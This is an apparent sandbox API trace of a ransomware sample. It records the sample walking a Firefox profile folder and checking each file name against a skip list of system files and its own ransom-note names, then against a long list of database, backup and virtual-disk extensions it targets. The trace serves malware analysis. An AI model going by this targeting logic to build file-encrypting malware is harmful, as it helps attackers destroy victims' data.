	[0041.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0041.328] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x850d63f0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x850d63f0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x850d63f0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x501, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="localstore.rdf", cAlternateFileName="LOCALS~1.RDF")) returned 1
	[0041.328] lstrcmpiW (lpString1="localstore.rdf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0041.328] lstrcmpiW (lpString1="localstore.rdf", lpString2="Apollon865.txt.exe") returned 1
	[0041.328] lstrcmpiW (lpString1="localstore.rdf", lpString2=".") returned 1
	[0041.328] lstrcmpiW (lpString1="localstore.rdf", lpString2="..") returned 1
	[0041.328] lstrcmpiW (lpString1="localstore.rdf", lpString2="windows") returned -1
	[0041.329] lstrcmpiW (lpString1="localstore.rdf", lpString2="bootmgr") returned 1
	[0041.329] lstrcmpiW (lpString1="localstore.rdf", lpString2="temp") returned -1
	[0041.329] lstrcmpiW (lpString1="localstore.rdf", lpString2="pagefile.sys") returned -1
	[0041.329] lstrcmpiW (lpString1="localstore.rdf", lpString2="boot") returned 1
	[0041.329] lstrcmpiW (lpString1="localstore.rdf", lpString2="ids.txt") returned 1
	[0041.329] lstrcmpiW (lpString1="localstore.rdf", lpString2="ntuser.dat") returned -1
	[0041.329] lstrcmpiW (lpString1="localstore.rdf", lpString2="perflogs") returned -1
	[0041.329] lstrcmpiW (lpString1="localstore.rdf", lpString2="MSBuild") returned -1
	[0041.329] lstrlenW (lpString="localstore.rdf") returned 14
	[0041.329] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db") returned 95
	[0041.329] lstrcpyW (in: lpString1=0x2d3e600, lpString2="localstore.rdf" | out: lpString1="localstore.rdf") returned="localstore.rdf"
	[0041.329] lstrlenW (lpString="localstore.rdf") returned 14
	[0041.329] lstrlenW (lpString="Apollon865") returned 10
	[0041.329] lstrcmpiW (lpString1="lstore.rdf", lpString2="Apollon865") returned 1
	[0041.329] lstrlenW (lpString=".dll") returned 4
	[0041.329] lstrcmpiW (lpString1="localstore.rdf", lpString2=".dll") returned 1
	[0041.329] lstrlenW (lpString=".lnk") returned 4
	[0041.329] lstrcmpiW (lpString1="localstore.rdf", lpString2=".lnk") returned 1
	[0041.329] lstrlenW (lpString=".ini") returned 4
	[0041.329] lstrcmpiW (lpString1="localstore.rdf", lpString2=".ini") returned 1
	[0041.329] lstrlenW (lpString=".sys") returned 4
	[0041.329] lstrcmpiW (lpString1="localstore.rdf", lpString2=".sys") returned 1
	[0041.329] lstrlenW (lpString="localstore.rdf") returned 14
	[0041.329] lstrlenW (lpString="bak") returned 3
	[0041.329] lstrcmpiW (lpString1="rdf", lpString2="bak") returned 1
	[0041.329] lstrlenW (lpString="ba_") returned 3
	[0041.329] lstrcmpiW (lpString1="rdf", lpString2="ba_") returned 1
	[0041.329] lstrlenW (lpString="dbb") returned 3
	[0041.329] lstrcmpiW (lpString1="rdf", lpString2="dbb") returned 1
	[0041.329] lstrlenW (lpString="vmdk") returned 4
	[0041.329] lstrcmpiW (lpString1=".rdf", lpString2="vmdk") returned -1
	[0041.329] lstrlenW (lpString="rar") returned 3
	[0041.329] lstrcmpiW (lpString1="rdf", lpString2="rar") returned 1
	[0041.329] lstrlenW (lpString="zip") returned 3
	[0041.329] lstrcmpiW (lpString1="rdf", lpString2="zip") returned -1
	[0041.329] lstrlenW (lpString="tgz") returned 3
	[0041.329] lstrcmpiW (lpString1="rdf", lpString2="tgz") returned -1
	[0041.330] lstrlenW (lpString="vbox") returned 4
	[0041.330] lstrcmpiW (lpString1=".rdf", lpString2="vbox") returned -1
	[0041.330] lstrlenW (lpString="vdi") returned 3
	[0041.330] lstrcmpiW (lpString1="rdf", lpString2="vdi") returned -1
	[0041.330] lstrlenW (lpString="vhd") returned 3
	[0041.330] lstrcmpiW (lpString1="rdf", lpString2="vhd") returned -1
	[0041.330] lstrlenW (lpString="vhdx") returned 4
	[0041.330] lstrcmpiW (lpString1=".rdf", lpString2="vhdx") returned -1
	[0041.330] lstrlenW (lpString="avhd") returned 4
	[0041.330] lstrcmpiW (lpString1=".rdf", lpString2="avhd") returned -1
	[0041.330] lstrlenW (lpString="db") returned 2
	[0041.330] lstrcmpiW (lpString1="df", lpString2="db") returned 1
	[0041.330] lstrlenW (lpString="db2") returned 3
	[0041.330] lstrcmpiW (lpString1="rdf", lpString2="db2") returned 1
	[0041.330] lstrlenW (lpString="db3") returned 3
	[0041.330] lstrcmpiW (lpString1="rdf", lpString2="db3") returned 1
	[0041.330] lstrlenW (lpString="dbf") returned 3
	[0041.330] lstrcmpiW (lpString1="rdf", lpString2="dbf") returned 1
	[0041.330] lstrlenW (lpString="mdf") returned 3
	[0041.330] lstrcmpiW (lpString1="rdf", lpString2="mdf") returned 1
	[0041.330] lstrlenW (lpString="mdb") returned 3
	[0041.330] lstrcmpiW (lpString1="rdf", lpString2="mdb") returned 1
	[0041.330] lstrlenW (lpString="sql") returned 3
	[0041.330] lstrcmpiW (lpString1="rdf", lpString2="sql") returned -1
	[0041.330] lstrlenW (lpString="sqlite") returned 6
	[0041.330] lstrcmpiW (lpString1="re.rdf", lpString2="sqlite") returned -1
	[0041.330] lstrlenW (lpString="sqlite3") returned 7
	[0041.330] lstrcmpiW (lpString1="ore.rdf", lpString2="sqlite3") returned -1
	[0041.330] lstrlenW (lpString="sqlitedb") returned 8
	[0041.330] lstrcmpiW (lpString1="tore.rdf", lpString2="sqlitedb") returned 1
	[0041.330] lstrlenW (lpString="xml") returned 3
	[0041.330] lstrcmpiW (lpString1="rdf", lpString2="xml") returned -1
	[0041.330] lstrlenW (lpString="$er") returned 3
	[0041.330] lstrcmpiW (lpString1="rdf", lpString2="$er") returned 1
	[0041.330] lstrlenW (lpString="4dd") returned 3
	[0041.330] lstrcmpiW (lpString1="rdf", lpString2="4dd") returned 1
	[0041.330] lstrlenW (lpString="4dl") returned 3
	[0041.331] lstrcmpiW (lpString1="rdf", lpString2="4dl") returned 1
	[0041.331] lstrlenW (lpString="^^^") returned 3
	[0041.331] lstrcmpiW (lpString1="rdf", lpString2="^^^") returned 1
	[0041.331] lstrlenW (lpString="abs") returned 3
	[0041.331] lstrcmpiW (lpString1="rdf", lpString2="abs") returned 1
	[0041.331] lstrlenW (lpString="abx") returned 3
	[0041.331] lstrcmpiW (lpString1="rdf", lpString2="abx") returned 1
	[0041.331] lstrlenW (lpString="accdb") returned 5
	[0041.331] lstrcmpiW (lpString1="e.rdf", lpString2="accdb") returned 1
	[0041.331] lstrlenW (lpString="accdc") returned 5
	[0041.331] lstrcmpiW (lpString1="e.rdf", lpString2="accdc") returned 1
	[0041.331] lstrlenW (lpString="accde") returned 5
	[0041.331] lstrcmpiW (lpString1="e.rdf", lpString2="accde") returned 1
	[0041.331] lstrlenW (lpString="accdr") returned 5
	[0041.331] lstrcmpiW (lpString1="e.rdf", lpString2="accdr") returned 1
	[0041.331] lstrlenW (lpString="accdt") returned 5
	[0041.331] lstrcmpiW (lpString1="e.rdf", lpString2="accdt") returned 1
	[0041.331] lstrlenW (lpString="accdw") returned 5
	[0041.331] lstrcmpiW (lpString1="e.rdf", lpString2="accdw") returned 1
	[0041.331] lstrlenW (lpString="accft") returned 5
	[0041.331] lstrcmpiW (lpString1="e.rdf", lpString2="accft") returned 1
	[0041.331] lstrlenW (lpString="adb") returned 3
	[0041.331] lstrcmpiW (lpString1="rdf", lpString2="adb") returned 1
	[0041.331] lstrlenW (lpString="adb") returned 3
	[0041.331] lstrcmpiW (lpString1="rdf", lpString2="adb") returned 1
	[0041.331] lstrlenW (lpString="ade") returned 3
	[0041.331] lstrcmpiW (lpString1="rdf", lpString2="ade") returned 1
	[0041.331] lstrlenW (lpString="adf") returned 3
	[0041.331] lstrcmpiW (lpString1="rdf", lpString2="adf") returned 1
	[0041.331] lstrlenW (lpString="adn") returned 3
	[0041.331] lstrcmpiW (lpString1="rdf", lpString2="adn") returned 1
	[0041.331] lstrlenW (lpString="adp") returned 3
	[0041.331] lstrcmpiW (lpString1="rdf", lpString2="adp") returned 1
	[0041.331] lstrlenW (lpString="alf") returned 3
	[0041.331] lstrcmpiW (lpString1="rdf", lpString2="alf") returned 1
	[0041.331] lstrlenW (lpString="ask") returned 3
	[0041.331] lstrcmpiW (lpString1="rdf", lpString2="ask") returned 1
	[0041.331] lstrlenW (lpString="btr") returned 3
	[0041.331] lstrcmpiW (lpString1="rdf", lpString2="btr") returned 1
	[0041.332] lstrlenW (lpString="cat") returned 3
	[0041.332] lstrcmpiW (lpString1="rdf", lpString2="cat") returned 1
	[0041.332] lstrlenW (lpString="cdb") returned 3
	[0041.332] lstrcmpiW (lpString1="rdf", lpString2="cdb") returned 1
	[0041.332] lstrlenW (lpString="ckp") returned 3
	[0041.332] lstrcmpiW (lpString1="rdf", lpString2="ckp") returned 1
	[0041.332] lstrlenW (lpString="cma") returned 3
	[0041.332] lstrcmpiW (lpString1="rdf", lpString2="cma") returned 1
	[0041.332] lstrlenW (lpString="cpd") returned 3
	[0041.332] lstrcmpiW (lpString1="rdf", lpString2="cpd") returned 1
	[0041.332] lstrlenW (lpString="dacpac") returned 6
	[0041.332] lstrcmpiW (lpString1="re.rdf", lpString2="dacpac") returned 1
	[0041.332] lstrlenW (lpString="dad") returned 3
	[0041.332] lstrcmpiW (lpString1="rdf", lpString2="dad") returned 1
	[0041.332] lstrlenW (lpString="dadiagrams") returned 10
	[0041.332] lstrcmpiW (lpString1="lstore.rdf", lpString2="dadiagrams") returned 1
	[0041.332] lstrlenW (lpString="daschema") returned 8
	[0041.332] lstrcmpiW (lpString1="tore.rdf", lpString2="daschema") returned 1
	[0041.332] lstrlenW (lpString="db-journal") returned 10
	[0041.332] lstrcmpiW (lpString1="lstore.rdf", lpString2="db-journal") returned 1
	[0041.332] lstrlenW (lpString="db-shm") returned 6
	[0041.332] lstrcmpiW (lpString1="re.rdf", lpString2="db-shm") returned 1
	[0041.332] lstrlenW (lpString="db-wal") returned 6
	[0041.332] lstrcmpiW (lpString1="re.rdf", lpString2="db-wal") returned 1
	[0041.332] lstrlenW (lpString="dbc") returned 3
	[0041.332] lstrcmpiW (lpString1="rdf", lpString2="dbc") returned 1
	[0041.332] lstrlenW (lpString="dbs") returned 3
	[0041.332] lstrcmpiW (lpString1="rdf", lpString2="dbs") returned 1
	[0041.332] lstrlenW (lpString="dbt") returned 3
	[0041.332] lstrcmpiW (lpString1="rdf", lpString2="dbt") returned 1
	[0041.332] lstrlenW (lpString="dbv") returned 3
	[0041.332] lstrcmpiW (lpString1="rdf", lpString2="dbv") returned 1
	[0041.332] lstrlenW (lpString="dbx") returned 3
	[0041.332] lstrcmpiW (lpString1="rdf", lpString2="dbx") returned 1
	[0041.333] lstrlenW (lpString="dcb") returned 3
	[0041.333] lstrcmpiW (lpString1="rdf", lpString2="dcb") returned 1
	[0041.333] lstrlenW (lpString="dct") returned 3
	[0041.333] lstrcmpiW (lpString1="rdf", lpString2="dct") returned 1
	[0041.333] lstrlenW (lpString="dcx") returned 3
	[0041.333] lstrcmpiW (lpString1="rdf", lpString2="dcx") returned 1
	[0041.333] lstrlenW (lpString="ddl") returned 3
	[0041.333] lstrcmpiW (lpString1="rdf", lpString2="ddl") returned 1
	[0041.333] lstrlenW (lpString="dlis") returned 4
	[0041.333] lstrcmpiW (lpString1=".rdf", lpString2="dlis") returned -1
	[0041.333] lstrlenW (lpString="dp1") returned 3
	[0041.333] lstrcmpiW (lpString1="rdf", lpString2="dp1") returned 1
	[0041.333] lstrlenW (lpString="dqy") returned 3
	[0041.333] lstrcmpiW (lpString1="rdf", lpString2="dqy") returned 1
	[0041.333] lstrlenW (lpString="dsk") returned 3
	[0041.333] lstrcmpiW (lpString1="rdf", lpString2="dsk") returned 1
	[0041.333] lstrlenW (lpString="dsn") returned 3
	[0041.333] lstrcmpiW (lpString1="rdf", lpString2="dsn") returned 1
	[0041.333] lstrlenW (lpString="dtsx") returned 4
	[0041.333] lstrcmpiW (lpString1=".rdf", lpString2="dtsx") returned -1
	[0041.333] lstrlenW (lpString="dxl") returned 3
	[0041.333] lstrcmpiW (lpString1="rdf", lpString2="dxl") returned 1
	[0041.333] lstrlenW (lpString="eco") returned 3
	[0041.333] lstrcmpiW (lpString1="rdf", lpString2="eco") returned 1
	[0041.333] lstrlenW (lpString="ecx") returned 3
	[0041.333] lstrcmpiW (lpString1="rdf", lpString2="ecx") returned 1
	[0041.333] lstrlenW (lpString="edb") returned 3
	[0041.333] lstrcmpiW (lpString1="rdf", lpString2="edb") returned 1
	[0041.334] lstrlenW (lpString="epim") returned 4
	[0041.334] lstrcmpiW (lpString1=".rdf", lpString2="epim") returned -1
	[0041.334] lstrlenW (lpString="fcd") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="fcd") returned 1
	[0041.334] lstrlenW (lpString="fdb") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="fdb") returned 1
	[0041.334] lstrlenW (lpString="fic") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="fic") returned 1
	[0041.334] lstrlenW (lpString="flexolibrary") returned 12
	[0041.334] lstrcmpiW (lpString1="calstore.rdf", lpString2="flexolibrary") returned -1
	[0041.334] lstrlenW (lpString="fm5") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="fm5") returned 1
	[0041.334] lstrlenW (lpString="fmp") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="fmp") returned 1
	[0041.334] lstrlenW (lpString="fmp12") returned 5
	[0041.334] lstrcmpiW (lpString1="e.rdf", lpString2="fmp12") returned -1
	[0041.334] lstrlenW (lpString="fmpsl") returned 5
	[0041.334] lstrcmpiW (lpString1="e.rdf", lpString2="fmpsl") returned -1
	[0041.334] lstrlenW (lpString="fol") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="fol") returned 1
	[0041.334] lstrlenW (lpString="fp3") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="fp3") returned 1
	[0041.334] lstrlenW (lpString="fp4") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="fp4") returned 1
	[0041.334] lstrlenW (lpString="fp5") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="fp5") returned 1
	[0041.334] lstrlenW (lpString="fp7") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="fp7") returned 1
	[0041.334] lstrlenW (lpString="fpt") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="fpt") returned 1
	[0041.334] lstrlenW (lpString="frm") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="frm") returned 1
	[0041.334] lstrlenW (lpString="gdb") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="gdb") returned 1
	[0041.334] lstrlenW (lpString="gdb") returned 3
	[0041.334] lstrcmpiW (lpString1="rdf", lpString2="gdb") returned 1
	[0041.334] lstrlenW (lpString="grdb") returned 4
	[0041.334] lstrcmpiW (lpString1=".rdf", lpString2="grdb") returned -1
	[0041.335] lstrlenW (lpString="gwi") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="gwi") returned 1
	[0041.335] lstrlenW (lpString="hdb") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="hdb") returned 1
	[0041.335] lstrlenW (lpString="his") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="his") returned 1
	[0041.335] lstrlenW (lpString="ib") returned 2
	[0041.335] lstrcmpiW (lpString1="df", lpString2="ib") returned -1
	[0041.335] lstrlenW (lpString="idb") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="idb") returned 1
	[0041.335] lstrlenW (lpString="ihx") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="ihx") returned 1
	[0041.335] lstrlenW (lpString="itdb") returned 4
	[0041.335] lstrcmpiW (lpString1=".rdf", lpString2="itdb") returned -1
	[0041.335] lstrlenW (lpString="itw") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="itw") returned 1
	[0041.335] lstrlenW (lpString="jet") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="jet") returned 1
	[0041.335] lstrlenW (lpString="jtx") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="jtx") returned 1
	[0041.335] lstrlenW (lpString="kdb") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="kdb") returned 1
	[0041.335] lstrlenW (lpString="kexi") returned 4
	[0041.335] lstrcmpiW (lpString1=".rdf", lpString2="kexi") returned -1
	[0041.335] lstrlenW (lpString="kexic") returned 5
	[0041.335] lstrcmpiW (lpString1="e.rdf", lpString2="kexic") returned -1
	[0041.335] lstrlenW (lpString="kexis") returned 5
	[0041.335] lstrcmpiW (lpString1="e.rdf", lpString2="kexis") returned -1
	[0041.335] lstrlenW (lpString="lgc") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="lgc") returned 1
	[0041.335] lstrlenW (lpString="lwx") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="lwx") returned 1
	[0041.335] lstrlenW (lpString="maf") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="maf") returned 1
	[0041.335] lstrlenW (lpString="maq") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="maq") returned 1
	[0041.335] lstrlenW (lpString="mar") returned 3
	[0041.335] lstrcmpiW (lpString1="rdf", lpString2="mar") returned 1
	[0041.336] lstrlenW (lpString="marshal") returned 7
	[0041.336] lstrcmpiW (lpString1="ore.rdf", lpString2="marshal") returned 1
	[0041.336] lstrlenW (lpString="mas") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="mas") returned 1
	[0041.336] lstrlenW (lpString="mav") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="mav") returned 1
	[0041.336] lstrlenW (lpString="maw") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="maw") returned 1
	[0041.336] lstrlenW (lpString="mdbhtml") returned 7
	[0041.336] lstrcmpiW (lpString1="ore.rdf", lpString2="mdbhtml") returned 1
	[0041.336] lstrlenW (lpString="mdn") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="mdn") returned 1
	[0041.336] lstrlenW (lpString="mdt") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="mdt") returned 1
	[0041.336] lstrlenW (lpString="mfd") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="mfd") returned 1
	[0041.336] lstrlenW (lpString="mpd") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="mpd") returned 1
	[0041.336] lstrlenW (lpString="mrg") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="mrg") returned 1
	[0041.336] lstrlenW (lpString="mud") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="mud") returned 1
	[0041.336] lstrlenW (lpString="mwb") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="mwb") returned 1
	[0041.336] lstrlenW (lpString="myd") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="myd") returned 1
	[0041.336] lstrlenW (lpString="ndf") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="ndf") returned 1
	[0041.336] lstrlenW (lpString="nnt") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="nnt") returned 1
	[0041.336] lstrlenW (lpString="nrmlib") returned 6
	[0041.336] lstrcmpiW (lpString1="re.rdf", lpString2="nrmlib") returned 1
	[0041.336] lstrlenW (lpString="ns2") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="ns2") returned 1
	[0041.336] lstrlenW (lpString="ns3") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="ns3") returned 1
	[0041.336] lstrlenW (lpString="ns4") returned 3
	[0041.336] lstrcmpiW (lpString1="rdf", lpString2="ns4") returned 1
	[0041.336] lstrlenW (lpString="nsf") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="nsf") returned 1
	[0041.337] lstrlenW (lpString="nv") returned 2
	[0041.337] lstrcmpiW (lpString1="df", lpString2="nv") returned -1
	[0041.337] lstrlenW (lpString="nv2") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="nv2") returned 1
	[0041.337] lstrlenW (lpString="nwdb") returned 4
	[0041.337] lstrcmpiW (lpString1=".rdf", lpString2="nwdb") returned -1
	[0041.337] lstrlenW (lpString="nyf") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="nyf") returned 1
	[0041.337] lstrlenW (lpString="odb") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="odb") returned 1
	[0041.337] lstrlenW (lpString="odb") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="odb") returned 1
	[0041.337] lstrlenW (lpString="oqy") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="oqy") returned 1
	[0041.337] lstrlenW (lpString="ora") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="ora") returned 1
	[0041.337] lstrlenW (lpString="orx") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="orx") returned 1
	[0041.337] lstrlenW (lpString="owc") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="owc") returned 1
	[0041.337] lstrlenW (lpString="p96") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="p96") returned 1
	[0041.337] lstrlenW (lpString="p97") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="p97") returned 1
	[0041.337] lstrlenW (lpString="pan") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="pan") returned 1
	[0041.337] lstrlenW (lpString="pdb") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="pdb") returned 1
	[0041.337] lstrlenW (lpString="pdm") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="pdm") returned 1
	[0041.337] lstrlenW (lpString="pnz") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="pnz") returned 1
	[0041.337] lstrlenW (lpString="qry") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="qry") returned 1
	[0041.337] lstrlenW (lpString="qvd") returned 3
	[0041.337] lstrcmpiW (lpString1="rdf", lpString2="qvd") returned 1
	[0041.337] lstrlenW (lpString="rbf") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="rbf") returned 1
	[0041.338] lstrlenW (lpString="rctd") returned 4
	[0041.338] lstrcmpiW (lpString1=".rdf", lpString2="rctd") returned -1
	[0041.338] lstrlenW (lpString="rod") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="rod") returned -1
	[0041.338] lstrlenW (lpString="rodx") returned 4
	[0041.338] lstrcmpiW (lpString1=".rdf", lpString2="rodx") returned -1
	[0041.338] lstrlenW (lpString="rpd") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="rpd") returned -1
	[0041.338] lstrlenW (lpString="rsd") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="rsd") returned -1
	[0041.338] lstrlenW (lpString="sas7bdat") returned 8
	[0041.338] lstrcmpiW (lpString1="tore.rdf", lpString2="sas7bdat") returned 1
	[0041.338] lstrlenW (lpString="sbf") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="sbf") returned -1
	[0041.338] lstrlenW (lpString="scx") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="scx") returned -1
	[0041.338] lstrlenW (lpString="sdb") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="sdb") returned -1
	[0041.338] lstrlenW (lpString="sdc") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="sdc") returned -1
	[0041.338] lstrlenW (lpString="sdf") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="sdf") returned -1
	[0041.338] lstrlenW (lpString="sis") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="sis") returned -1
	[0041.338] lstrlenW (lpString="spq") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="spq") returned -1
	[0041.338] lstrlenW (lpString="te") returned 2
	[0041.338] lstrcmpiW (lpString1="df", lpString2="te") returned -1
	[0041.338] lstrlenW (lpString="teacher") returned 7
	[0041.338] lstrcmpiW (lpString1="ore.rdf", lpString2="teacher") returned -1
	[0041.338] lstrlenW (lpString="tmd") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="tmd") returned -1
	[0041.338] lstrlenW (lpString="tps") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="tps") returned -1
	[0041.338] lstrlenW (lpString="trc") returned 3
	[0041.338] lstrcmpiW (lpString1="rdf", lpString2="trc") returned -1
	[0041.338] lstrlenW (lpString="trc") returned 3
	[0041.339] lstrcmpiW (lpString1="rdf", lpString2="trc") returned -1
	[0041.339] lstrlenW (lpString="trm") returned 3
	[0041.339] lstrcmpiW (lpString1="rdf", lpString2="trm") returned -1
	[0041.339] lstrlenW (lpString="udb") returned 3
	[0041.339] lstrcmpiW (lpString1="rdf", lpString2="udb") returned -1
	[0041.339] lstrlenW (lpString="udl") returned 3
	[0041.339] lstrcmpiW (lpString1="rdf", lpString2="udl") returned -1
	[0041.339] lstrlenW (lpString="usr") returned 3
	[0041.339] lstrcmpiW (lpString1="rdf", lpString2="usr") returned -1
	[0041.339] lstrlenW (lpString="v12") returned 3
	[0041.339] lstrcmpiW (lpString1="rdf", lpString2="v12") returned -1
	[0041.339] lstrlenW (lpString="vis") returned 3
	[0041.339] lstrcmpiW (lpString1="rdf", lpString2="vis") returned -1
	[0041.339] lstrlenW (lpString="vpd") returned 3
	[0041.339] lstrcmpiW (lpString1="rdf", lpString2="vpd") returned -1
	[0041.339] lstrlenW (lpString="vvv") returned 3
	[0041.339] lstrcmpiW (lpString1="rdf", lpString2="vvv") returned -1
	[0041.339] lstrlenW (lpString="wdb") returned 3
	[0041.339] lstrcmpiW (lpString1="rdf", lpString2="wdb") returned -1
	[0041.339] lstrlenW (lpString="wmdb") returned 4
	[0041.339] lstrcmpiW (lpString1=".rdf", lpString2="wmdb") returned -1
	[0041.339] lstrlenW (lpString="wrk") returned 3
	[0041.339] lstrcmpiW (lpString1="rdf", lpString2="wrk") returned -1
	[0041.339] lstrlenW (lpString="xdb") returned 3
	[0041.339] lstrcmpiW (lpString1="rdf", lpString2="xdb") returned -1
	[0041.339] lstrlenW (lpString="xld") returned 3
	[0041.339] lstrcmpiW (lpString1="rdf", lpString2="xld") returned -1
	[0041.339] lstrlenW (lpString="xmlff") returned 5
	[0041.339] lstrcmpiW (lpString1="e.rdf", lpString2="xmlff") returned -1
	[0041.339] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x85572e90, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="marionette.log", cAlternateFileName="MARION~1.LOG")) returned 1
	[0041.339] lstrcmpiW (lpString1="marionette.log", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0041.339] lstrcmpiW (lpString1="marionette.log", lpString2="Apollon865.txt.exe") returned 1
	[0041.339] lstrcmpiW (lpString1="marionette.log", lpString2=".") returned 1
	[0041.339] lstrcmpiW (lpString1="marionette.log", lpString2="..") returned 1
	[0041.339] lstrcmpiW (lpString1="marionette.log", lpString2="windows") returned -1
	[0041.339] lstrcmpiW (lpString1="marionette.log", lpString2="bootmgr") returned 1
	[0041.339] lstrcmpiW (lpString1="marionette.log", lpString2="temp") returned -1
	[0041.339] lstrcmpiW (lpString1="marionette.log", lpString2="pagefile.sys") returned -1
	[0041.339] lstrcmpiW (lpString1="marionette.log", lpString2="boot") returned 1
	[0041.340] lstrcmpiW (lpString1="marionette.log", lpString2="ids.txt") returned 1
	[0041.340] lstrcmpiW (lpString1="marionette.log", lpString2="ntuser.dat") returned -1
	[0041.340] lstrcmpiW (lpString1="marionette.log", lpString2="perflogs") returned -1
	[0041.340] lstrcmpiW (lpString1="marionette.log", lpString2="MSBuild") returned -1
	[0041.340] lstrlenW (lpString="marionette.log") returned 14
	[0041.340] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\localstore.rdf") returned 102
	[0041.340] lstrcpyW (in: lpString1=0x2d3e600, lpString2="marionette.log" | out: lpString1="marionette.log") returned="marionette.log"
	[0041.340] lstrlenW (lpString="marionette.log") returned 14
